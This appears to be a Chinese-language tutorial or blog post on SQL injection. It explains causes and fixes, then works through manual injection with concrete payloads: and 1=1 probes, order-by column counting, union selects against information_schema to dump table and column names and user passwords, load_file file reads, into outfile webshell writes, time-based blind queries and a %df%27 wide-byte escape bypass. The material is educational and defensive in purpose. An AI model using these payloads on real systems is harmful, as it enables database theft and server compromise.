SQL注入

一、簡介：

將SQL陳述句添加到輸入引數，傳遞到服務器決議并執行SQL陳述句的一種攻擊手段，

對于用戶提交的引數未進行過濾達到 SQL 陳述句執行，黑客可以利用該漏洞執行任意 SQL 陳述句，如查詢資料、下載資料、寫入webshell 、執行系統命令以及繞過登錄限制等，

本質：是把用戶輸入的資料當做代碼執行，

這里有兩個關鍵條件：

1.用戶能夠控制輸入

2.原本程式要執行的代碼，拼接了用戶輸入的資料

二、產生原因:

1.開發人員無法保證所有代碼都進行過濾

2.攻擊者發送給服務器的經過構造的可執行的sql陳述句

3.資料庫未做相對應的安全配置對web應用設定特定的資料庫賬號，而不使用root或管理員賬號，特定資料庫賬號給予一些簡單操作的權限，回收一些類似drop的操作權限

三、SQL注入漏洞

1. 探測漏洞

使用掃描器，通過自動爬取等發現

手工探測

1. 獲取資料庫相關資訊(拖庫)
2. 更進一步拿到當前主機webshell或者獲得內網的權限

四、SQL注入修復建議

1.    對產生漏洞模塊的傳入引數進行有效性檢測，對傳入的相關引數進行限定（確認每種資料的型別，比如數字型的資料就必須是數字，資料庫中的存盤欄位必須對應為 int 型，）

2.    當用戶輸入限定字符時，立刻轉向自定義的錯誤頁，不能使用服務器默認的錯誤輸出方式(避免網站顯示 SQL 錯誤資訊，比如型別錯誤、欄位不匹配等，防止攻擊者利用這些錯誤資訊進行一些判斷，)

3.    對以上標簽進行危險字符過濾，禁止('、"、+、%、&、<>、（）、;、and、select等)特殊字符的傳入或進行轉義處理、編碼轉換，

4.    加密資料庫記憶體儲資訊

5.    與資料庫鏈接并訪問資料時，使用引數化查詢方式進行鏈接訪問

6.資料長度應該嚴格規定，能在一定程度上防止比較長的 SQL 注入陳述句無法正確執行，

7. 網站每個資料層的編碼統一，建議全部使用 UTF-8 編碼，上下層編碼不一致有可能導致一些過濾模型被繞過，

8. 嚴格限制網站用戶的資料庫的操作權限，給此用戶提供僅僅能夠滿足其作業的權限，從而最大限度的減少注入攻擊對資料庫的危害，

五、判斷注入點

and 1=1   頁面正常顯示

and 1=2   頁面出現例外

最簡單的方法： ‘     看是否出現例外

其他方法：  

數字傳參id=2-1 顯示id=1的頁面(可以嘗試 and -1=-1、and -1=-2、and 1>0、or 1=1)

通用法則：

1. 單引號 ’ ——閉合前面陳述句的單引號SQL決議引起的報錯
2. 條件法則and 1=1——數字型1 and 1=1、字串型1’ and ‘1’=’1、模糊型1%’ and 1=1
3. 時間法則 sleep(盲注)——根據頁面回傳內容不同，基于邏輯真偽的判斷、根據回應時間的不同

六、注入流程

1.是否存在注入并且判斷注入的型別

2.判斷欄位數 order by

3.確定是否存在回顯點  union select 1,2

4.查詢資料庫的相關資訊    @@version    @@datadir

5.查詢用戶名，資料庫名    user()  database()

6.查詢資料庫表 table_name ()  

7.查詢資料庫欄位 column_name()

8.查詢資料庫資料 dump

7.檔案讀取寫入 union select 1,load_file('C:\\wondows\\win.ini')# 寫入 webshell      select..into outfile...

手工注入

三種 sql 注釋符：

1.# 單行注釋 注意與url中的#區分，常編碼為%23

2.--空格 單行注釋注意為短線短線空格

3./*（）*/ 多行注釋 至少存在倆處的注入/**/常用來作為空格

補充一點，使用 sql 注入遇到轉義字串的單引號或者雙引號，可使用 HEX 編碼繞過

1、尋找注入點

and 1=1(頁面正常)/and 1=2(頁面不正常)；

單引號’(看是否報錯)、盲注or sleep(5)；

數字型傳參http://www.xxx.com?id=1可以進行id=2-1看是否正常顯示(and -1=-1/-2)

2、猜解欄位數(幾個庫)

• order by 1 #[只能用于MySQL資料庫](或--+/--_空格)
• order by 1 如果頁面回傳正常 欄位數不少于 1,order by 2 不少于 2，一直如此類推直到頁面出錯，正確的欄位數是出錯數字減少 1

3、聯合查詢尋找輸出點(獲取資料庫相關資訊)

構造自己的查詢陳述句獲取當前資料庫的相關資訊：

?id=1 and 1=2 union select 1,database()，user()…

使用基本的資料庫函式：

user()獲取當前登錄賬戶

database()獲取當前資料庫

version()獲取當前資料庫版本 mysql 版本

@@datadir 讀取資料庫路徑

@@basedir MYSQL 安裝路徑

全域函式

4、獲取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()——group_concat（）函式使資料一起顯示

-1' union select 1,table_name from information_schema.tables where table_schema=database()——分開顯示 1全現

-1' union select 1,table_name from information_schema.tables where table_schema=0x64767761 limit 1,1——通過limit查詢（16進制資料庫名）

5、獲取列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' ——所有列名

-1' union select 1,column_name from information_schema.columns where table_name='users' ——分開顯示所有

-1' union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 1,1 %23(#)—— 通過limit查詢

6、獲取想要的資料

1' union select user_id,password from users #

-1' union select user,password from users #

利用工具注入-SQLmap

#

七、注入型別

1. 按照注入點型別來分類

（1）數字型注入點

select * from users where id=1

（2）字符型注入點

select * from users where username='admin'

（3）搜索型注入點

select * from news where title like '%標題%'

2. 按照資料提交的方式來分類

（1）GET 注入

GET 請求的引數是放在 URL 里的，GET 請求的 URL 傳參有長度限制 中文需要 URL 編碼

鏈接http://xxx.com/news.php?id=1 , id 是注入點，

（2）POST 注入

利用post傳參，POST請求引數是放在請求body 里的，長度沒有限制

Post注入高危點：登錄框、查詢框、各種與資料互動的框，

（3）Cookie 注入

HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中，

（4）HTTP 頭部注入

注入點在 HTTP 請求頭部的某個欄位中，

請求頭的引數傳遞——user-agent、refferer、x-for-word

4.     按照執行效果來分類

盲注 (面對服務器關閉了錯誤回顯)沒有錯誤回顯，

服務器沒有錯誤回顯，對于攻擊者來說缺少了非常重要的“除錯資訊”，

相關盲注函式(資料庫函式)

length() 函式 回傳字串的長度

mid()函式用于得到一個字串的一部分，這個函式被MySQL支持，在SQL Server，Oracle中，我們可以使用substring()或substr()作為替代，

ascii() 回傳字符的ascii碼

sleep() 將程式掛起一段時間n為n秒

if(expr1,expr2,expr3) 判斷陳述句 如果第一個陳述句正確，就執行第二個陳述句，如果錯誤，執行第三個陳述句

（1）基于布爾的盲注

根據用戶的輸入回傳正確資訊(True)或錯誤資訊(Flase)

（2）基于時間的盲注

不管用戶輸入正確的還是錯誤的，回傳都按正確的處理(或者回傳一個模糊的資訊)

加入特定的時間函式，查看頁面的回傳時間來判斷注入陳述句是否正確

（3）基于報錯注入

資料庫在執行時，遇到語法不對，會顯示報錯資訊

（4）聯合查詢注入

聯合查詢注入是聯合兩個表進行注入攻擊，使用關鍵詞 union select 對兩個表進行聯合查詢，兩個表的欄位要數要相同，不然會出現報錯，

（5）堆查詢注入

堆疊查詢可以執行多條 SQL 陳述句，陳述句之間以分號(;)隔開，而堆疊查詢注入攻擊就是利用此特點，在第二條陳述句中構造要執行攻擊的陳述句，

（6）寬位元組注入

寬位元組注入主要是源于程式員設定資料庫編碼與 php 編碼設定為不同的兩個編碼，這樣就可能會產 生寬位元組注入，GBK 占用兩位元組，ASCII 占用一位元組，PHP 中編碼為 GBK，函式執行添加的是 ASCII 編碼（添加的符號為?\?），MYSQL 默認字符集是 GBK 等寬位元組字符集， 輸入%df%27,本來\ 會轉義%27（’），但\（其中\的十六進制是 %5C）的編碼位數為 92，%df 的 編碼位數為 223，%df%5c 符合 gbk 取值范圍（第一個位元組 129-254，第二個位元組 64-254），會決議 為一個漢字?運?，這樣\就會失去應有的作用

八、SQL 注入繞過

#

標籤：其他

上一篇：SwiftUI：從異步模型發布更改

下一篇：CISCO設備資訊泄漏漏洞案例2